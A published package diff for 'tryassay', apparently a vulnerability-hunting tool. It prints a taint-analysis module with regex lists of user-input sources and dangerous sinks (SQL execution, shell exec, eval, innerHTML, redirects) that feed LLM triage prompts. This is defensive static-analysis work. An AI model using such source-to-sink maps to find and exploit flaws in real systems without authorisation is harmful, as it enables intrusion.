tryassay 0.33.1 → 0.34.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (126) hide show
  1. package/dist/cli.js +20 -0
  2. package/dist/cli.js.map +1 -1
  3. package/dist/commands/hunt.d.ts +2 -0
  4. package/dist/commands/hunt.js +58 -7
  5. package/dist/commands/hunt.js.map +1 -1
  6. package/dist/commands/mcp.d.ts +14 -0
  7. package/dist/commands/mcp.js +18 -0
  8. package/dist/commands/mcp.js.map +1 -0
  9. package/dist/commands/watch.d.ts +19 -0
  10. package/dist/commands/watch.js +158 -0
  11. package/dist/commands/watch.js.map +1 -0
  12. package/dist/hunt/__tests__/finding-to-template.test.d.ts +1 -0
  13. package/dist/hunt/__tests__/finding-to-template.test.js +213 -0
  14. package/dist/hunt/__tests__/finding-to-template.test.js.map +1 -0
  15. package/dist/hunt/__tests__/parse-utils.test.js +28 -1
  16. package/dist/hunt/__tests__/parse-utils.test.js.map +1 -1
  17. package/dist/hunt/__tests__/taint-analysis.test.d.ts +1 -0
  18. package/dist/hunt/__tests__/taint-analysis.test.js +556 -0
  19. package/dist/hunt/__tests__/taint-analysis.test.js.map +1 -0
  20. package/dist/hunt/__tests__/templates.test.js +2 -2
  21. package/dist/hunt/__tests__/templates.test.js.map +1 -1
  22. package/dist/hunt/deep-dive.d.ts +2 -2
  23. package/dist/hunt/deep-dive.js +4 -4
  24. package/dist/hunt/deep-dive.js.map +1 -1
  25. package/dist/hunt/discovery.js +2 -2
  26. package/dist/hunt/discovery.js.map +1 -1
  27. package/dist/hunt/finding-to-template.d.ts +47 -0
  28. package/dist/hunt/finding-to-template.js +288 -0
  29. package/dist/hunt/finding-to-template.js.map +1 -0
  30. package/dist/hunt/orchestrator.d.ts +3 -0
  31. package/dist/hunt/orchestrator.js +20 -5
  32. package/dist/hunt/orchestrator.js.map +1 -1
  33. package/dist/hunt/taint-analysis.d.ts +49 -0
  34. package/dist/hunt/taint-analysis.js +429 -0
  35. package/dist/hunt/taint-analysis.js.map +1 -0
  36. package/dist/hunt/templates/csv-injection.d.ts +2 -0
  37. package/dist/hunt/templates/csv-injection.js +148 -0
  38. package/dist/hunt/templates/csv-injection.js.map +1 -0
  39. package/dist/hunt/templates/django-misconfig.d.ts +2 -0
  40. package/dist/hunt/templates/django-misconfig.js +172 -0
  41. package/dist/hunt/templates/django-misconfig.js.map +1 -0
  42. package/dist/hunt/templates/express-misconfig.d.ts +2 -0
  43. package/dist/hunt/templates/express-misconfig.js +156 -0
  44. package/dist/hunt/templates/express-misconfig.js.map +1 -0
  45. package/dist/hunt/templates/file-upload.d.ts +2 -0
  46. package/dist/hunt/templates/file-upload.js +131 -0
  47. package/dist/hunt/templates/file-upload.js.map +1 -0
  48. package/dist/hunt/templates/graphql-abuse.d.ts +2 -0
  49. package/dist/hunt/templates/graphql-abuse.js +161 -0
  50. package/dist/hunt/templates/graphql-abuse.js.map +1 -0
  51. package/dist/hunt/templates/hardcoded-credentials.d.ts +2 -0
  52. package/dist/hunt/templates/hardcoded-credentials.js +109 -0
  53. package/dist/hunt/templates/hardcoded-credentials.js.map +1 -0
  54. package/dist/hunt/templates/idor.d.ts +2 -0
  55. package/dist/hunt/templates/idor.js +102 -0
  56. package/dist/hunt/templates/idor.js.map +1 -0
  57. package/dist/hunt/templates/index.d.ts +2 -2
  58. package/dist/hunt/templates/index.js +38 -5
  59. package/dist/hunt/templates/index.js.map +1 -1
  60. package/dist/hunt/templates/insecure-deserialization.d.ts +2 -0
  61. package/dist/hunt/templates/insecure-deserialization.js +131 -0
  62. package/dist/hunt/templates/insecure-deserialization.js.map +1 -0
  63. package/dist/hunt/templates/mass-assignment.d.ts +2 -0
  64. package/dist/hunt/templates/mass-assignment.js +101 -0
  65. package/dist/hunt/templates/mass-assignment.js.map +1 -0
  66. package/dist/hunt/templates/nextjs-misconfig.d.ts +2 -0
  67. package/dist/hunt/templates/nextjs-misconfig.js +127 -0
  68. package/dist/hunt/templates/nextjs-misconfig.js.map +1 -0
  69. package/dist/hunt/templates/postmessage.d.ts +2 -0
  70. package/dist/hunt/templates/postmessage.js +180 -0
  71. package/dist/hunt/templates/postmessage.js.map +1 -0
  72. package/dist/hunt/templates/race-condition.d.ts +2 -0
  73. package/dist/hunt/templates/race-condition.js +138 -0
  74. package/dist/hunt/templates/race-condition.js.map +1 -0
  75. package/dist/hunt/templates/spring-misconfig.d.ts +2 -0
  76. package/dist/hunt/templates/spring-misconfig.js +177 -0
  77. package/dist/hunt/templates/spring-misconfig.js.map +1 -0
  78. package/dist/hunt/templates/xxe.d.ts +2 -0
  79. package/dist/hunt/templates/xxe.js +187 -0
  80. package/dist/hunt/templates/xxe.js.map +1 -0
  81. package/dist/hunt/triage.d.ts +2 -2
  82. package/dist/hunt/triage.js +4 -4
  83. package/dist/hunt/triage.js.map +1 -1
  84. package/dist/realtime/__tests__/catch-real-bugs.test.d.ts +9 -0
  85. package/dist/realtime/__tests__/catch-real-bugs.test.js +205 -0
  86. package/dist/realtime/__tests__/catch-real-bugs.test.js.map +1 -0
  87. package/dist/realtime/__tests__/code-buffer.test.d.ts +1 -0
  88. package/dist/realtime/__tests__/code-buffer.test.js +202 -0
  89. package/dist/realtime/__tests__/code-buffer.test.js.map +1 -0
  90. package/dist/realtime/__tests__/correction-injector.test.d.ts +1 -0
  91. package/dist/realtime/__tests__/correction-injector.test.js +168 -0
  92. package/dist/realtime/__tests__/correction-injector.test.js.map +1 -0
  93. package/dist/realtime/__tests__/stream-interceptor.test.d.ts +1 -0
  94. package/dist/realtime/__tests__/stream-interceptor.test.js +193 -0
  95. package/dist/realtime/__tests__/stream-interceptor.test.js.map +1 -0
  96. package/dist/realtime/__tests__/streaming-checks.test.d.ts +1 -0
  97. package/dist/realtime/__tests__/streaming-checks.test.js +479 -0
  98. package/dist/realtime/__tests__/streaming-checks.test.js.map +1 -0
  99. package/dist/realtime/__tests__/streaming-verifier.test.d.ts +1 -0
  100. package/dist/realtime/__tests__/streaming-verifier.test.js +157 -0
  101. package/dist/realtime/__tests__/streaming-verifier.test.js.map +1 -0
  102. package/dist/realtime/code-buffer.d.ts +52 -0
  103. package/dist/realtime/code-buffer.js +276 -0
  104. package/dist/realtime/code-buffer.js.map +1 -0
  105. package/dist/realtime/correction-injector.d.ts +56 -0
  106. package/dist/realtime/correction-injector.js +96 -0
  107. package/dist/realtime/correction-injector.js.map +1 -0
  108. package/dist/realtime/index.d.ts +14 -0
  109. package/dist/realtime/index.js +11 -0
  110. package/dist/realtime/index.js.map +1 -0
  111. package/dist/realtime/mcp-server.d.ts +14 -0
  112. package/dist/realtime/mcp-server.js +200 -0
  113. package/dist/realtime/mcp-server.js.map +1 -0
  114. package/dist/realtime/stream-interceptor.d.ts +65 -0
  115. package/dist/realtime/stream-interceptor.js +174 -0
  116. package/dist/realtime/stream-interceptor.js.map +1 -0
  117. package/dist/realtime/streaming-checks.d.ts +55 -0
  118. package/dist/realtime/streaming-checks.js +452 -0
  119. package/dist/realtime/streaming-checks.js.map +1 -0
  120. package/dist/realtime/streaming-verifier.d.ts +57 -0
  121. package/dist/realtime/streaming-verifier.js +134 -0
  122. package/dist/realtime/streaming-verifier.js.map +1 -0
  123. package/dist/realtime/types.d.ts +99 -0
  124. package/dist/realtime/types.js +8 -0
  125. package/dist/realtime/types.js.map +1 -0
  126. package/package.json +2 -1
@@ -0,0 +1,429 @@
1
+ import { basename, dirname, resolve } from 'path';
2
+ const SOURCE_PATTERNS = [
3
+ // JS/TS — Express / generic
4
+ { re: /\breq(?:uest)?\.params\b/gi, type: 'request-param' },
5
+ { re: /\breq(?:uest)?\.query\b/gi, type: 'query-string' },
6
+ { re: /\breq(?:uest)?\.body\b/gi, type: 'request-body' },
7
+ { re: /\breq(?:uest)?\.headers\b/gi, type: 'request-param' },
8
+ { re: /\breq(?:uest)?\.cookies\b/gi, type: 'request-param' },
9
+ // Koa
10
+ { re: /\bctx\.params\b/gi, type: 'request-param' },
11
+ { re: /\bctx\.query\b/gi, type: 'query-string' },
12
+ { re: /\bctx\.request\.body\b/gi, type: 'request-body' },
13
+ // Lambda
14
+ { re: /\bevent\.body\b/gi, type: 'request-body' },
15
+ { re: /\bevent\.queryStringParameters\b/gi, type: 'query-string' },
16
+ // React Router hooks
17
+ { re: /\buseSearchParams\s*\(\)/gi, type: 'query-string' },
18
+ { re: /\buseParams\s*\(\)/gi, type: 'url-param' },
19
+ // FormData
20
+ { re: /\bformData\.get\s*\(/gi, type: 'user-input' },
21
+ { re: /\bnew\s+FormData\s*\(/gi, type: 'user-input' },
22
+ // URL parsing
23
+ { re: /new\s+URL\s*\([^)]*\)\.searchParams/gi, type: 'query-string' },
24
+ // File upload
25
+ { re: /\breq(?:uest)?\.files?\b/gi, type: 'file-upload' },
26
+ { re: /\bmulter\b/gi, type: 'file-upload' },
27
+ // WebSocket
28
+ { re: /\bws\.on\s*\(\s*['"]message['"]/gi, type: 'websocket' },
29
+ { re: /\bsocket\.on\s*\(\s*['"]message['"]/gi, type: 'websocket' },
30
+ // Environment variables
31
+ { re: /\bprocess\.env\b/gi, type: 'env-var' },
32
+ // Python — Django
33
+ { re: /\brequest\.GET\b/g, type: 'query-string' },
34
+ { re: /\brequest\.POST\b/g, type: 'request-body' },
35
+ { re: /\brequest\.FILES\b/g, type: 'file-upload' },
36
+ { re: /\brequest\.data\b/gi, type: 'request-body' },
37
+ // Python — Flask
38
+ { re: /\brequest\.args\b/g, type: 'query-string' },
39
+ { re: /\brequest\.form\b/g, type: 'request-body' },
40
+ { re: /\brequest\.json\b/g, type: 'request-body' },
41
+ // Python — DRF
42
+ { re: /\bself\.request\.query_params\b/g, type: 'query-string' },
43
+ { re: /\bself\.request\.data\b/g, type: 'request-body' },
44
+ // Java
45
+ { re: /@RequestParam\b/g, type: 'request-param' },
46
+ { re: /@PathVariable\b/g, type: 'url-param' },
47
+ { re: /@RequestBody\b/g, type: 'request-body' },
48
+ { re: /\brequest\.getParameter\s*\(/gi, type: 'request-param' },
49
+ { re: /\brequest\.getHeader\s*\(/gi, type: 'request-param' },
50
+ ];
51
+ const SINK_PATTERNS = [
52
+ // JS/TS — SQL
53
+ { re: /\b(?:db|pool|connection|client|knex|prisma)\.\s*(?:query|execute|raw)\s*\(/gi, type: 'sql-query' },
54
+ { re: /\b(?:db|pool|connection|client)\.\s*(?:\$queryRaw|queryRaw)\s*\(/gi, type: 'sql-query' },
55
+ // JS/TS — command exec
56
+ { re: /\b(?:exec|execSync)\s*\(/gi, type: 'command-exec' },
57
+ { re: /\b(?:spawn|execFile|spawnSync)\s*\(/gi, type: 'command-exec' },
58
+ // JS/TS — file ops
59
+ { re: /\bfs\.\s*(?:readFile|writeFile|unlink|readdir|mkdir|rmdir|rename|copyFile)\s*(?:Sync)?\s*\(/gi, type: 'file-op' },
60
+ // JS/TS — redirect
61
+ { re: /\b(?:res|response)\.redirect\s*\(/gi, type: 'redirect' },
62
+ { re: /\blocation\.href\s*=/gi, type: 'redirect' },
63
+ // JS/TS — response write
64
+ { re: /\b(?:res|response)\.(?:send|write|json|end)\s*\(/gi, type: 'response-write' },
65
+ // JS/TS — XSS
66
+ { re: /\binnerHTML\s*=/gi, type: 'inner-html' },
67
+ { re: /\bdangerouslySetInnerHTML\b/gi, type: 'inner-html' },
68
+ // JS/TS — eval
69
+ { re: /\beval\s*\(/gi, type: 'eval' },
70
+ { re: /\bnew\s+Function\s*\(/gi, type: 'eval' },
71
+ // Python — SQL
72
+ { re: /\b(?:cursor|connection)\.execute\s*\(/gi, type: 'sql-query' },
73
+ // Python — command exec
74
+ { re: /\bos\.system\s*\(/gi, type: 'command-exec' },
75
+ { re: /\bsubprocess\.(?:run|Popen|call|check_output)\s*\(/gi, type: 'command-exec' },
76
+ // Python — file ops
77
+ { re: /\bopen\s*\([^)]*['"]\s*[rwa]/gi, type: 'file-op' },
78
+ // Python — redirect
79
+ { re: /\bredirect\s*\(/gi, type: 'redirect' },
80
+ { re: /\bHttpResponseRedirect\s*\(/gi, type: 'redirect' },
81
+ // Python — template render
82
+ { re: /\bmark_safe\s*\(/gi, type: 'template-render' },
83
+ { re: /\|\s*safe\b/gi, type: 'template-render' },
84
+ // Java — SQL
85
+ { re: /\bstatement\.execute(?:Query|Update)?\s*\(/gi, type: 'sql-query' },
86
+ // Java — command exec
87
+ { re: /\bRuntime\.getRuntime\(\)\.exec\s*\(/gi, type: 'command-exec' },
88
+ // Java — redirect
89
+ { re: /\bresponse\.sendRedirect\s*\(/gi, type: 'redirect' },
90
+ ];
91
+ // ---------------------------------------------------------------------------
92
+ // Import graph building
93
+ // ---------------------------------------------------------------------------
94
+ /**
95
+ * Build a graph of import edges between discovered files.
96
+ * Resolves relative imports (./foo, ../bar) to discovered file paths.
97
+ */
98
+ export function buildImportGraph(files) {
99
+ // Build a lookup: relativePath -> DiscoveredFile
100
+ const byRelPath = new Map();
101
+ for (const f of files) {
102
+ byRelPath.set(f.relativePath, f);
103
+ // Also index without extension for resolution
104
+ const noExt = stripExtension(f.relativePath);
105
+ if (!byRelPath.has(noExt)) {
106
+ byRelPath.set(noExt, f);
107
+ }
108
+ }
109
+ const edges = [];
110
+ for (const file of files) {
111
+ for (const imp of file.imports) {
112
+ const resolved = resolveImport(file.relativePath, imp, byRelPath);
113
+ if (resolved) {
114
+ const symbols = extractImportedSymbols(file.content, imp);
115
+ edges.push({
116
+ from: file.relativePath,
117
+ to: resolved.relativePath,
118
+ symbols,
119
+ });
120
+ }
121
+ }
122
+ }
123
+ return edges;
124
+ }
125
+ function stripExtension(p) {
126
+ return p.replace(/\.\w+$/, '');
127
+ }
128
+ /**
129
+ * Resolve an import specifier to a discovered file.
130
+ * Handles relative paths (./foo, ../utils/bar) and
131
+ * tries common extensions (.ts, .js, .tsx, .jsx, /index.ts, etc.).
132
+ */
133
+ function resolveImport(importerRelPath, importSpec, fileMap) {
134
+ // Only resolve relative imports
135
+ if (!importSpec.startsWith('.')) {
136
+ // For bare specifiers, try matching by filename
137
+ const specBase = importSpec.split('/').pop() || importSpec;
138
+ for (const [relPath, f] of fileMap) {
139
+ const fileBase = basename(relPath).replace(/\.\w+$/, '');
140
+ if (fileBase === specBase && relPath === f.relativePath) {
141
+ return f;
142
+ }
143
+ }
144
+ return undefined;
145
+ }
146
+ const importerDir = dirname(importerRelPath);
147
+ const resolved = normalizeSlashes(resolve('/', importerDir, importSpec)).slice(1); // remove leading /
148
+ // Try exact match first
149
+ if (fileMap.has(resolved) && isRealFile(resolved, fileMap))
150
+ return fileMap.get(resolved);
151
+ // Try common extensions
152
+ const extensions = ['.ts', '.tsx', '.js', '.jsx', '.py', '.java', '.go', '.rs', '.rb', '.php'];
153
+ for (const ext of extensions) {
154
+ const withExt = resolved + ext;
155
+ if (fileMap.has(withExt) && isRealFile(withExt, fileMap))
156
+ return fileMap.get(withExt);
157
+ }
158
+ // Try /index variants
159
+ for (const ext of extensions) {
160
+ const indexPath = resolved + '/index' + ext;
161
+ if (fileMap.has(indexPath) && isRealFile(indexPath, fileMap))
162
+ return fileMap.get(indexPath);
163
+ }
164
+ // Try without .js extension (common in TS imports with .js specifiers)
165
+ const noJs = resolved.replace(/\.js$/, '');
166
+ if (noJs !== resolved) {
167
+ if (fileMap.has(noJs) && isRealFile(noJs, fileMap))
168
+ return fileMap.get(noJs);
169
+ for (const ext of extensions) {
170
+ const candidate = noJs + ext;
171
+ if (fileMap.has(candidate) && isRealFile(candidate, fileMap))
172
+ return fileMap.get(candidate);
173
+ }
174
+ }
175
+ return undefined;
176
+ }
177
+ /** Check that a fileMap key corresponds to the file's actual relativePath (not a stripped-extension alias) */
178
+ function isRealFile(key, fileMap) {
179
+ const f = fileMap.get(key);
180
+ return f !== undefined && f.relativePath === key;
181
+ }
182
+ function normalizeSlashes(p) {
183
+ return p.replace(/\\/g, '/');
184
+ }
185
+ /**
186
+ * Extract the named symbols from an import statement.
187
+ * e.g. `import { foo, bar } from './x'` -> ['foo', 'bar']
188
+ * `import db from './x'` -> ['db']
189
+ */
190
+ function extractImportedSymbols(content, importSpec) {
191
+ const escaped = importSpec.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
192
+ // Match: import { a, b } from 'spec' OR import X from 'spec' OR import * as X from 'spec'
193
+ const re = new RegExp(`import\\s+(?:\\{([^}]+)\\}|\\*\\s+as\\s+(\\w+)|(\\w+))\\s+from\\s+['"]${escaped}['"]`, 'g');
194
+ const symbols = [];
195
+ let match;
196
+ while ((match = re.exec(content)) !== null) {
197
+ if (match[1]) {
198
+ // Named imports: { a, b as c }
199
+ for (const part of match[1].split(',')) {
200
+ const trimmed = part.trim();
201
+ if (!trimmed)
202
+ continue;
203
+ // Handle `x as y` — take the local name
204
+ const asMatch = trimmed.match(/(\w+)\s+as\s+(\w+)/);
205
+ symbols.push(asMatch ? asMatch[2] : trimmed);
206
+ }
207
+ }
208
+ else if (match[2]) {
209
+ // Namespace import: * as X
210
+ symbols.push(match[2]);
211
+ }
212
+ else if (match[3]) {
213
+ // Default import
214
+ symbols.push(match[3]);
215
+ }
216
+ }
217
+ // Also check require patterns
218
+ const reqRe = new RegExp(`(?:const|let|var)\\s+(?:\\{([^}]+)\\}|(\\w+))\\s*=\\s*require\\s*\\(\\s*['"]${escaped}['"]\\s*\\)`, 'g');
219
+ while ((match = reqRe.exec(content)) !== null) {
220
+ if (match[1]) {
221
+ for (const part of match[1].split(',')) {
222
+ const trimmed = part.trim();
223
+ if (trimmed)
224
+ symbols.push(trimmed);
225
+ }
226
+ }
227
+ else if (match[2]) {
228
+ symbols.push(match[2]);
229
+ }
230
+ }
231
+ return symbols;
232
+ }
233
+ // ---------------------------------------------------------------------------
234
+ // Source & sink detection
235
+ // ---------------------------------------------------------------------------
236
+ export function findSources(files) {
237
+ const sources = [];
238
+ for (const file of files) {
239
+ const lines = file.content.split('\n');
240
+ for (let i = 0; i < lines.length; i++) {
241
+ const line = lines[i];
242
+ for (const pattern of SOURCE_PATTERNS) {
243
+ pattern.re.lastIndex = 0;
244
+ let m;
245
+ while ((m = pattern.re.exec(line)) !== null) {
246
+ sources.push({
247
+ file: file.relativePath,
248
+ line: i + 1,
249
+ type: pattern.type,
250
+ identifier: m[0].trim(),
251
+ });
252
+ }
253
+ }
254
+ }
255
+ }
256
+ return sources;
257
+ }
258
+ export function findSinks(files) {
259
+ const sinks = [];
260
+ for (const file of files) {
261
+ const lines = file.content.split('\n');
262
+ for (let i = 0; i < lines.length; i++) {
263
+ const line = lines[i];
264
+ for (const pattern of SINK_PATTERNS) {
265
+ pattern.re.lastIndex = 0;
266
+ let m;
267
+ while ((m = pattern.re.exec(line)) !== null) {
268
+ sinks.push({
269
+ file: file.relativePath,
270
+ line: i + 1,
271
+ type: pattern.type,
272
+ identifier: m[0].trim(),
273
+ });
274
+ }
275
+ }
276
+ }
277
+ }
278
+ return sinks;
279
+ }
280
+ // ---------------------------------------------------------------------------
281
+ // Taint context building
282
+ // ---------------------------------------------------------------------------
283
+ /**
284
+ * Build a TaintContext for a target file, showing:
285
+ * - Sources and sinks within the file
286
+ * - Related files that import from or are imported by the target
287
+ * - Data flow paths tracing sources through imports to sinks
288
+ */
289
+ export function buildTaintContext(targetFile, allFiles, importGraph, sources, sinks) {
290
+ const filePath = targetFile.relativePath;
291
+ // Sources and sinks in the target file
292
+ const localSources = sources.filter(s => s.file === filePath);
293
+ const localSinks = sinks.filter(s => s.file === filePath);
294
+ // Files that import the target (dependents)
295
+ const importedBy = importGraph.filter(e => e.to === filePath);
296
+ // Files that the target imports (dependencies)
297
+ const importsFrom = importGraph.filter(e => e.from === filePath);
298
+ // Collect related files: upstream sources that flow into this file's sinks
299
+ const relatedFiles = [];
300
+ const dataFlowPaths = [];
301
+ if (localSinks.length > 0) {
302
+ // Trace backwards: who imports this file or is imported by this file?
303
+ // Look for source files in the dependency chain
304
+ const upstreamFiles = new Set();
305
+ // Direct imports: if target imports file X, and X has sources -> data may flow in
306
+ for (const edge of importsFrom) {
307
+ upstreamFiles.add(edge.to);
308
+ }
309
+ // Files that import target: they may pass user input as arguments
310
+ for (const edge of importedBy) {
311
+ upstreamFiles.add(edge.from);
312
+ }
313
+ // Also check 2nd-degree: files that import the files that import target
314
+ for (const edge of importedBy) {
315
+ const grandparentEdges = importGraph.filter(e => e.to === edge.from && e.from !== filePath);
316
+ for (const e2 of grandparentEdges) {
317
+ upstreamFiles.add(e2.from);
318
+ }
319
+ }
320
+ // For each upstream file, check if it has sources
321
+ for (const upPath of upstreamFiles) {
322
+ const upSources = sources.filter(s => s.file === upPath);
323
+ if (upSources.length === 0)
324
+ continue;
325
+ const upFile = allFiles.find(f => f.relativePath === upPath);
326
+ if (!upFile)
327
+ continue;
328
+ // Find the connecting edge(s)
329
+ const directEdge = importsFrom.find(e => e.to === upPath);
330
+ const reverseEdge = importedBy.find(e => e.from === upPath);
331
+ const relevance = directEdge
332
+ ? `imports ${directEdge.symbols.join(', ') || 'module'} from this file`
333
+ : reverseEdge
334
+ ? `calls ${reverseEdge.symbols.join(', ') || 'exports'} from target`
335
+ : 'in dependency chain';
336
+ // Build a snippet showing the source lines
337
+ const sourceSnippet = upSources
338
+ .slice(0, 5)
339
+ .map(s => {
340
+ const srcLine = upFile.content.split('\n')[s.line ? s.line - 1 : 0];
341
+ return `L${s.line}: ${srcLine?.trim() || s.identifier}`;
342
+ })
343
+ .join('\n');
344
+ relatedFiles.push({
345
+ path: upPath,
346
+ relevance,
347
+ snippet: sourceSnippet,
348
+ });
349
+ // Build data flow path descriptions
350
+ for (const src of upSources.slice(0, 3)) {
351
+ for (const sink of localSinks.slice(0, 3)) {
352
+ const throughSymbols = directEdge?.symbols.join(', ') || reverseEdge?.symbols.join(', ') || '?';
353
+ dataFlowPaths.push(`${src.type} in ${upPath}:${src.line} → ${throughSymbols} → ${sink.type} in ${filePath}:${sink.line}`);
354
+ }
355
+ }
356
+ }
357
+ }
358
+ // Also check if this file has sources and exports them (other files' sinks may consume)
359
+ if (localSources.length > 0) {
360
+ for (const edge of importedBy) {
361
+ const downSinks = sinks.filter(s => s.file === edge.from);
362
+ if (downSinks.length === 0)
363
+ continue;
364
+ const downFile = allFiles.find(f => f.relativePath === edge.from);
365
+ if (!downFile)
366
+ continue;
367
+ const sinkSnippet = downSinks
368
+ .slice(0, 5)
369
+ .map(s => {
370
+ const sinkLine = downFile.content.split('\n')[s.line ? s.line - 1 : 0];
371
+ return `L${s.line}: ${sinkLine?.trim() || s.identifier}`;
372
+ })
373
+ .join('\n');
374
+ // Avoid duplicate entries
375
+ if (!relatedFiles.some(rf => rf.path === edge.from)) {
376
+ relatedFiles.push({
377
+ path: edge.from,
378
+ relevance: `imports ${edge.symbols.join(', ') || 'exports'} and has sinks`,
379
+ snippet: sinkSnippet,
380
+ });
381
+ }
382
+ for (const src of localSources.slice(0, 3)) {
383
+ for (const sink of downSinks.slice(0, 3)) {
384
+ dataFlowPaths.push(`${src.type} in ${filePath}:${src.line} → ${edge.symbols.join(', ') || '?'} → ${sink.type} in ${edge.from}:${sink.line}`);
385
+ }
386
+ }
387
+ }
388
+ }
389
+ return {
390
+ file: filePath,
391
+ sources: localSources,
392
+ sinks: localSinks,
393
+ dataFlowPaths,
394
+ relatedFiles,
395
+ };
396
+ }
397
+ // ---------------------------------------------------------------------------
398
+ // Formatting for LLM prompt injection
399
+ // ---------------------------------------------------------------------------
400
+ /**
401
+ * Format a TaintContext into a human-readable string for injection into
402
+ * triage/deep-dive LLM prompts.
403
+ * Returns empty string if there's no cross-file context worth showing.
404
+ */
405
+ export function formatTaintContext(ctx) {
406
+ // Only produce output if there are cross-file data flows
407
+ if (ctx.relatedFiles.length === 0 && ctx.dataFlowPaths.length === 0) {
408
+ return '';
409
+ }
410
+ const sections = [];
411
+ if (ctx.sources.length > 0) {
412
+ const sourceLines = ctx.sources.slice(0, 10).map(s => ` - ${s.type} at L${s.line}: ${s.identifier}`);
413
+ sections.push(`SOURCES (user-controlled data entry points in this file):\n${sourceLines.join('\n')}`);
414
+ }
415
+ if (ctx.sinks.length > 0) {
416
+ const sinkLines = ctx.sinks.slice(0, 10).map(s => ` - ${s.type} at L${s.line}: ${s.identifier}`);
417
+ sections.push(`SINKS (dangerous operations in this file):\n${sinkLines.join('\n')}`);
418
+ }
419
+ if (ctx.dataFlowPaths.length > 0) {
420
+ const flowLines = ctx.dataFlowPaths.slice(0, 10).map(f => ` - ${f}`);
421
+ sections.push(`DATA FLOW PATHS (how user input may reach dangerous operations):\n${flowLines.join('\n')}`);
422
+ }
423
+ if (ctx.relatedFiles.length > 0) {
424
+ const relatedSections = ctx.relatedFiles.slice(0, 5).map(rf => ` FILE: ${rf.path}\n RELEVANCE: ${rf.relevance}\n CODE:\n${rf.snippet.split('\n').map(l => ' ' + l).join('\n')}`);
425
+ sections.push(`RELATED FILES (cross-file data flow context):\n${relatedSections.join('\n\n')}`);
426
+ }
427
+ return sections.join('\n\n');
428
+ }
429
+ //# sourceMappingURL=taint-analysis.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"taint-analysis.js","sourceRoot":"","sources":["../../src/hunt/taint-analysis.ts"],"names":[],"mappings":"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